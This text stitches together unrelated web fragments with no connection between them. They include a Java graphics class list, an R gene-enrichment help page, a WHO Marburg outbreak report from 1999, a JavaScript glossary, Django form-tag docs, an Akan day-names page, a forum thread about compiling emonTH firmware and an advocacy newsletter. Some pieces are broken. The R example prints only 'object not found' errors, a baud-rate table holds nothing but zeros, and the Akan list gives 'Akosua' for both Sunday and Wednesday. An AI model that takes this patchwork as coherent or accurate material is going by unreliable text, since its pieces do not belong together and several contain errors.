| SVGComposite.OutCompositeContext_INT_PACK | |
| SVGComposite.OverCompositeContext |
This implements SRC_OVER for 4 band byte data.
|
| SVGComposite.OverCompositeContext_INT_PACK |
This implements SRC_OVER for Int packed data where the src is
premultiplied.
|
| SVGComposite.OverCompositeContext_INT_PACK_NA |
This implements SRC_OVER for Int packed data and dest has no Alpha...
|
| SVGComposite.OverCompositeContext_INT_PACK_UNPRE |
This implements SRC_OVER for Int packed data where the src is
unpremultiplied.
|
| SVGComposite.OverCompositeContext_NA |
This implements SRC_OVER for 4 band byte src data and
3 band byte dst data.
|
| SVGComposite.ScreenCompositeContext | |
| SVGComposite.ScreenCompositeContext_INT_PACK | |
| SVGComposite.XorCompositeContext | |
| SVGComposite.XorCompositeContext_INT_PACK | |
| TableTransfer |
TableTransfer.java
This class defines the Table type transfer function for the
feComponentTransfer filter, as defined in chapter 15, section 11 of the SVG
specification.
|
| URLImageCache |
This class manages a cache of soft references to Images that
we have already loaded.
|
java.awt.image
package. This
package provides convenient methods and some utility classes. These
generally bypass broken methods in Java2D or provide tweaked
implementations.Copyright © 2022 Apache Software Foundation. All Rights Reserved.


Wrapper to run GO enrichment, using fisher enrichment method. Builds on TopGo functionality.
runEnrichment(
gene.list,
gene.universe,
species,
p.threshold = 0.01,
p.adj.threshold = 0.05
)
Arguments
| gene.list |
named list of gene sets to query, where name specify name of gene set, and entry is vector of gene symbols. |
| gene.universe |
background genes |
| species |
Species: Hs or Mm |
| p.threshold |
numeric specifying p value threshold. Default is 0.01. |
| p.adj.threshold |
numeric specifing adjusted p value threshold. Defulat is 0.05. |
Value
list of data.frames. results.table.p contains unadjusted results, results.table.bh contains BH-adjusted results.
See also
Author
Nicholas Mikolajewicz
Examples
enrichment.list <- runEnrichment(module.list, gene.universe = all.genes, species = "Hs")
#> Loading required package: BiocGenerics
#> Loading required package: parallel
#>
#> Attaching package: 'BiocGenerics'
#> The following objects are masked from 'package:parallel':
#>
#> clusterApply, clusterApplyLB, clusterCall, clusterEvalQ,
#> clusterExport, clusterMap, parApply, parCapply, parLapply,
#> parLapplyLB, parRapply, parSapply, parSapplyLB
#> The following objects are masked from 'package:stats':
#>
#> IQR, mad, sd, var, xtabs
#> The following objects are masked from 'package:base':
#>
#> anyDuplicated, append, as.data.frame, basename, cbind, colnames,
#> dirname, do.call, duplicated, eval, evalq, Filter, Find, get, grep,
#> grepl, intersect, is.unsorted, lapply, Map, mapply, match, mget,
#> order, paste, pmax, pmax.int, pmin, pmin.int, Position, rank,
#> rbind, Reduce, rownames, sapply, setdiff, sort, table, tapply,
#> union, unique, unsplit, which, which.max, which.min
#> Loading required package: graph
#> Loading required package: Biobase
#> Welcome to Bioconductor
#>
#> Vignettes contain introductory material; view with
#> 'browseVignettes()'. To cite Bioconductor, see
#> 'citation("Biobase")', and for packages 'citation("pkgname")'.
#> Loading required package: GO.db
#> Loading required package: AnnotationDbi
#> Loading required package: stats4
#> Loading required package: IRanges
#> Loading required package: S4Vectors
#>
#> Attaching package: 'S4Vectors'
#> The following objects are masked from 'package:data.table':
#>
#> first, second
#> The following object is masked from 'package:base':
#>
#> expand.grid
#>
#> Attaching package: 'IRanges'
#> The following object is masked from 'package:data.table':
#>
#> shift
#> The following object is masked from 'package:grDevices':
#>
#> windows
#> Loading required package: SparseM
#> Warning: package 'SparseM' was built under R version 4.0.4
#>
#> Attaching package: 'SparseM'
#> The following object is masked from 'package:base':
#>
#> backsolve
#>
#> groupGOTerms: GOBPTerm, GOMFTerm, GOCCTerm environments built.
#>
#> Attaching package: 'topGO'
#> The following object is masked from 'package:IRanges':
#>
#> members
#> Error in runEnrichment(module.list, gene.universe = all.genes, species = "Hs"): object 'module.list' not found
results.p <- enrichment.list$results.table.p
#> Error in eval(expr, envir, enclos): object 'enrichment.list' not found
results.bh <- enrichment.list$results.table.bh
#> Error in eval(expr, envir, enclos): object 'enrichment.list' not found


| BSCALE value | Calculated BSEL value | BSEL value | Real baud rate | Error [%] | Abs(Error) [%] |
|---|---|---|---|---|---|
| 7 | 0 | 0 | 0 | 0 | 0 |
| 6 | 0 | 0 | 0 | 0 | 0 |
| 5 | 0 | 0 | 0 | 0 | 0 |
| 4 | 0 | 0 | 0 | 0 | 0 |
| 3 | 0 | 0 | 0 | 0 | 0 |
| 2 | 0 | 0 | 0 | 0 | 0 |
| 1 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 |
| -1 | 0 | 0 | 0 | 0 | 0 |
| -2 | 0 | 0 | 0 | 0 | 0 |
| -3 | 0 | 0 | 0 | 0 | 0 |
| -4 | 0 | 0 | 0 | 0 | 0 |
| -5 | 0 | 0 | 0 | 0 | 0 |
| -6 | 0 | 0 | 0 | 0 | 0 |
| -7 | 0 | 0 | 0 | 0 | 0 |


28 May 1999
Disease Outbreak Reported
The results of additional testing by the National Institute for Virology (South Africa), now confirm 5 cases of Marburg fever. Samples from 10 suspected cases have been collected and tested. Three confirmed cases had been reported previously. The two additional cases died on 1 May and 14 May 1999.
An active surveillance system is in place and selected staff from the coordination committee* remain on-site to monitor events.
* The coordination committee is composed of experts from: the Ministry of Health and local health authorities; WHO headquarters and the African Region; UNDP; Médecins sans frontières (Belgium and Holland); Centers for Disease Control and Prevention (United States); Institut Pasteur (France, French Guiana and Madagascar); Institute of Tropical Medicine (Belgium). The ecological team is composed of experts from: the National Institute for Virology (South Africa) and the Pest Infection Laboratory (Denmark).
Please see previous reports about this outbreak: 20 May 1999; 18 May 1999; 17 May 1999; 12 May 1999; 10 May 1999; 6 May 1999; 5 May 1999; 30 April 1999.


JavaScript, often abbreviated as JS, is a high-level, interpreted programming language. It is a language which is also characterized as dynamic, weakly typed, prototype-based and multi-paradigm.
The definition of an operator is a symbol that is used to perform an operation.
Variables can be thought of as named containers. You can place data into these containers and then refer to the data simply by naming the container.
Use the 'var' tag to declare a variable. Use the convention known as 'camel hump' where the first word is lowercased and uppercase next words.
Functions are one of the fundamental building blocks in JavaScript. A function is a JavaScript procedure—a set of statements that performs a task or calculates a value. To use a function, you must define it somewhere in the scope from which you wish to call it.
JavaScript methods are actions that can be performed on objects. A JavaScript method is a property containing a function definition. Property. Value. firstName.
JavaScript functions have a built-in object called the arguments object. The argument object contains an array of the arguments used when the function was called (invoked).
Parameters are variables listed as a part of the function definition.
In JavaScript, return statements cease execution in a function and return a value to the caller; JavaScript functions require an explicit return statement for returning the result of an expression (the value) from a function. When a return statement is not present, the interpreter automatically returns undefined.
Chaining Methods, also known as Cascading, refers to repeatedly calling one method after another on an object, in one continuous line of code.
A JavaScript string stores a series of characters like "John Doe". A string can be any text inside double or single quotes: var carname = "Volvo XC60"; ... String indexes are zero-based.
A JavaScript Boolean represents one of two values: true or false.
In JavaScript, undefined means a variable has been declared but has not yet been assigned a value.
The NaN property represents "Not-a-Number" value. This property indicates that a value is not a legal number. The NaN property is the same as the Number.
The backslash (\) escape character turns special characters into string characters
JavaScript supports three important types of dialog boxes. These dialog boxes can be used to raise an alert, or to get confirmation on any input or to have a kind of input from the users.
A comment is a programmer-readable explanation or annotation in the source code of a computer program.
jQuery is a concise and fast JavaScript library that can be used to simplify event handling, HTML document traversing, Ajax interactions and animation for speedy website development.
Attributes provide additional information about HTML elements.
Functions in JavaScript such as show(), hide(), toggle(), fadeIn(), and fadeOut().


You need to pass in at least the form object, and can also pass in the optional attrs string. Writing the attrs string is rather challenging so use of the objects found in uni_form.helpers is encouraged.
form: The forms object to be rendered by the tag
attrs (optional): A string of semi-colon seperated attributes that can be applied to theform in string format. They are used as follows.
form_action: applied to the form action attribute. Can be a named url in your urlconf that can be executed via the url default template tag or can simply point to another URL. Defaults to empty:
form_action=<my-form-action>
form_method: applied to the form action attribute. Defaults to POST and the only available thing you can enter is GET.:
form_method=<my-form-method>
id: applied to the form as a whole. Defaults to empty:
id=<my-form-id>
class: add space seperated classes to the class list. Always starts with uniform:
class=<my-first-custom-form-class> <my-custom-form-class>
button: for adding of generic buttons. The name also becomes the slugified id:
button=<my-custom-button-name>|<my-custom-button-value>
submit: For adding of submt buttons. The name also becomes the slugified id:
submit=<my-custom-submit-name>|<my-custom-submit-value>
hidden: For adding of hidden buttons:
hidden=<my-custom-hidden-name>|<my-custom-hidden-value>
reset: For adding of reset buttons:
reset=<my-custom-reset-name>|<my-custom-reset-value>
Example:
{% uni_form my-form my_helper %}
toggle_field: For making fields designed to be toggled for editing add them by spaces. You must specify by field id (field.auto_id):
toggle_fields=<first_field>,<second_field>
Creates the <style> and <script> tags needed to initialize the uni-form.
Create a local uni-form/includes.html template if you want to customize how these files are loaded.


AKAN NAMES
This page Calculates the day of the week you were born after you input your birthday and based on your gender outputs your Akan Name
Here are some Akan Names
Male
- Sunday: Kwasi
- Monday: Kwadwo
- Tuesday: Kwabena
- Wednesday: Kwaku
- Thursday: Yaw
- Friday: Kofi
- Saturday: Kwame
Female
- Sunday: Akosua
- Monday: Adwoa
- Tuesday: Abenaa
- Wednesday: Akosua
- Thursday: Yaa
- Friday: Afua
- Saturday: Ama


Hi, I'd like to compile some new firmware for my 4 emonTH. Just to change the name of the node, but I've got some trouble during compilation of emonTH_DHT22_DS18B20.
I've setup my Arduino Libraries like here : http://openenergymonitor.org/emon/buildingblocks/installing-arduino-libr...
All seems ok.
I've got all this libs from git.
ArduinoDHT22
DallasTemperature
DHT_sensor_library
EmonLib
emonTH
emonTxFirmware
ethercard
glcdlib
jeelib
OneWire
RFu_jeelib
rtclib
$ history | grep git 509 git clone https://github.com/openenergymonitor/emonTH.git
510 git clone https://github.com/openenergymonitor/RFu_jeelib.git
511 git clone https://github.com/milesburton/Arduino-Temperature-Control-Library
512 git clone https://github.com/jcw/rtclib
513 git clone https://github.com/jcw/glcdlib
514 git clone https://github.com/jcw/ethercard/
526 git clone https://github.com/openenergymonitor/ArduinoDHT22.git
530 git clone https://github.com/markruys/arduino-DHT.git
535 git clone https://github.com/jcw/jeelib.git
540 git clone https://github.com/adafruit/DHT-sensor-library
641 git clone https://github.com/openenergymonitor/emonTxFirmware
And OneWire from : http://www.hacktronics.com/code/OneWire.zip
When I tried to compile I obtain this error.
/home/nomad/sketchbook/libraries/RFu_jeelib/RFu_RF12.cpp:361:19: fatal error: RF12.h : No such file or dir
compilation terminated.
But RF12.h is inside jeelib.
nomad@e4310:~/sketchbook/libraries/jeelib$ ls -l RF12.h
-rw-r--r-- 1 nomad nomad 6091 déc. 22 14:02 RF12.h
nomad@e4310:~/sketchbook/libraries/jeelib$
What did I miss ?
Thanks !
Re: compile emonTH_DHT22_DS18B20
I'm on Windoze, but I think you should have RFu_JeeLib.h, RFu_RF12.cpp and RFu_RF12.h inside RFu_jeelib
It looks like you've got RFu_jeelib and jeelib mixed up. You must not use the plain jeelib with the RFu module.
Re: compile emonTH_DHT22_DS18B20
All seems to be there in my RFu_jeelib folder !
Effectively I have booth jeelib and RFu module.
I tried to remove my ~/sketchbook/libraries/jeelib folder but I've got exactly the same trouble.
Re: compile emonTH_DHT22_DS18B20
That error is saying that RF12.h is referenced on line 361, character 19 of RFu_RF12.cpp and the compiler can't find the file. If you look at this line it does indeed have "#include <RF12.h>". I've no idea why that's in the middle of the file but it should still compile if RF12.h is present so your problem is that the compiler can't find this file.
Try putting jeelib back into the libraries folder and close all instances of Arduino IDE and then re-open your project and check that jeelib appears in the "import library" menu.
Re: compile emonTH_DHT22_DS18B20
See here for a download of my Arduino folder which I used to compile emonTH http://files.openenergymonitor.org/Arduino64-bit.zip.
Please post once your figure out what was causing the problem Maybe we need to updated documentation.
Re: compile emonTH_DHT22_DS18B20
Surely the problem, at least from your point of view Glyn, is that RFu_jeelib won't compile by itself because RFu_RF12.cpp contains a reference to RF12.h and RF12.h isn't part of the library.
It will compile for you because I assume you have the old jeelib in your path and for some reason this isn't being seen in nomad's case.
Personally I don't like the idea of forking off the library like this as it's bound to lead to issues in the future trying to track any bug fixes in both versions of the library. Have you asked JCW if he could add an RFu option to the main library?
Re: compile emonTH_DHT22_DS18B20
I tried to answer, but can't because of forum spam filter
Re: compile emonTH_DHT22_DS18B20
Here is what I've done one an other computer running Ubuntu 13.04
Re: compile emonTH_DHT22_DS18B20
in attachment my terminal of what I've done
Re: compile emonTH_DHT22_DS18B20
sorry for all these post, and just some trouble with the anti spam filter on the forum.
Re: compile emonTH_DHT22_DS18B20
OK, I'll try one more time, it won't compile because you don't have jeelib in your libraries folder, that's the original jeelib NOT RFu_jeelib
Re: compile emonTH_DHT22_DS18B20
I agree, the port to RFu_JeeLib is not ideal. Unfortunately the changes needed were thought to be too wide spread and hardware specific to push back to JeeLib. I have updated RFu_JeeLib to not depend on JeeLib any more (changed line 361 to read "#include <RFu_RF12.h>".
try updating your Jeelib by doing a Git Pull. https://github.com/openenergymonitor/RFu_jeelib
Re: compile emonTH_DHT22_DS18B20
it works ;-) thanks
I will try it when I get bask home.


Additional Information and Resume are required to apply. Please update your additional information and upload your resume.
No official TA offer can be sent to you unless these two sections are completed.


Send SMS
-
No need to know SMPP protocol
-
Send SMS through SMPP (using Cloudhopper, through SmsGlobal for example) or HTTP (through OVH)
Designed for templating
-
Easy file loading
-
ThymeLeaf integration
-
FreeMarker integration
Framework support
-
-
Spring Boot starter
-
Compatible with other Spring Boot modules
-
Java EE
Testing tools
Automatic configuration
-
Protocol selection based on classpath and configuration
-
Template engine selection based on classpath and template content


FFL wants your help to identify revolutionary efforts and best practices to directly
address the unmet needs of women and children at high risk of abortion.
That would include model efforts to serve those at risk including:
- poor and pregnant women who are victims of domestic violence or conceived through
sexual assault,
-those who help pregnant and parenting women struggling in the workplace, and
- those in college.
Since half of all abortion are repeat abortion, we would also like to hear about
support for women and men who are healing from abortion.
To nominate an organization, please give their name, location, website, and an essay
of 500-800 words that clearly explains the goal, objectives, outcomes, number of
clients served and examples of success along with your complete name, email and
phone number where you can be reached. Be sure to describe what the organization
is doing that is new, exceptional, high quality, and/or revolutionary? If inspired
by Feminists for Life, please include the history as you know it.
If possible, we also need high resolution images of the facility and/or clients
served. (Note: We will provide the required model releases for any people featured
in the photographs you provide if included in the upcoming magazine.)
By your submission you give permission for your work to be used as a basis in an
article.
If selected, the organization will be included in an upcoming issue of The American
Feminist® .
Like our FFL’s College Outreach Program, we want revolutionary efforts to go viral.
Please include: “Nomination” in the subject line. Send your submission to<EMAIL_ADDRESS><EMAIL_ADDRESS>by March 23.
Because women deserve better,
Serrin M. Foster
President
&
Feminists for Life of America is a nonsectarian, nonpartisan 501©3 nonprofit organization.
All donations are tax-deductible to the extent allowed by law.
For more information, go to http://www.feministsforlife.org/support/ [http://r20.rs6.net/tn.jsp?f=001AQQ9n-nKPvjew2n6zuxivoKt4aBv9biXUHuubHirlGwzLi0IvESEaXDuET9_O79iqixAH5ATkp-UOGaquofVSXHHgilrZUjiJ-7I5A3faJngFTI0UdT0zYOfrv8_KRNZcOIA3RFp7wNl63ThRSIaY2sDscH469ZMjJZC6Bi58eW2jnTAXtEGjnYS2wI1Y_1D1gcjHxHKUjw=&c=GtiG_qLClxagcfPwpEejwGk6OSwFIxuP2K8HZfHm5h6RMPSUqPZw0g==&ch=VfNGubEwwSN9wHMiM1gSMDElOid6CWwUva0Mk7u5cHrncK2P9LAG5Q==]
Women Deserve Better is a registered trademark of Feminists for Life of America.
www.feministsforlife.org [http://r20.rs6.net/tn.jsp?f=001AQQ9n-nKPvjew2n6zuxivoKt4aBv9biXUHuubHirlGwzLi0IvESEaeabemotKs5uQCDX_VMQEjvvSENhVSgR-c6vptypbrKYs_NeRioeMgnYYQCo3eMnv1EyPr9p-MihXLbu_zR4Rn1F0CajJJ2bR7Kz0xq5lSzyoAiP6bYJ1dg63saMjZIqTw==&c=GtiG_qLClxagcfPwpEejwGk6OSwFIxuP2K8HZfHm5h6RMPSUqPZw0g==&ch=VfNGubEwwSN9wHMiM1gSMDElOid6CWwUva0Mk7u5cHrncK2P9LAG5Q==]
and www.facebook.com/feministsforlife.org [http://r20.rs6.net/tn.jsp?f=001AQQ9n-nKPvjew2n6zuxivoKt4aBv9biXUHuubHirlGwzLi0IvESEaQX55KnjYrCm5gMV-fnd5EPoP_jLfLUoZ5nhc35B7jLPni-ienbL47ndfJuLVAFctRhVvrU1d1_6I-QAYwCRbyuhbrDWsouBWFU7wcWImWIq2icz1wz6pGmrmSEjXv2FAtMTCK2Xrd_L&c=GtiG_qLClxagcfPwpEejwGk6OSwFIxuP2K8HZfHm5h6RMPSUqPZw0g==&ch=VfNGubEwwSN9wHMiM1gSMDElOid6CWwUva0Mk7u5cHrncK2P9LAG5Q==]
&
&
Forward this email
<EMAIL_ADDRESS>This email was sent to<EMAIL_ADDRESS>by<EMAIL_ADDRESS>Update Profile/Email Address
http://visitor.constantcontact.com/do?p=oo&m=001Q-HkL4DKCBRaE4RH1EOTXw%3D%3D&ch=5af11d60-4f61-11e3-9d28-d4ae5275dbea&ca=441f2e60-f5c7-4bac-bf51-1c5a47c21d54
Instant removal with SafeUnsubscribe™
http://visitor.constantcontact.com/do?p=un&m=001Q-HkL4DKCBRaE4RH1EOTXw%3D%3D&ch=5af11d60-4f61-11e3-9d28-d4ae5275dbea&ca=441f2e60-f5c7-4bac-bf51-1c5a47c21d54
Privacy Policy:
http://ui.constantcontact.com/roving/CCPrivacyPolicy.jsp
Online Marketing by
Constant Contact®
www.constantcontact.com
Feminists for Life | P.O. Box 320667 | Alexandria | VA | 22320